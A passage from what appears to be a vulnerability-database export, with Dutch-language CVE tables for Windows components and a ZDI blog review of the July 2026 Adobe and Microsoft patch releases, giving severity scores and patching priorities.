5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:23.463967Z"}, {"uuid": "f8dda2a2-f5ec-4786-880f-09a11d223f21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows 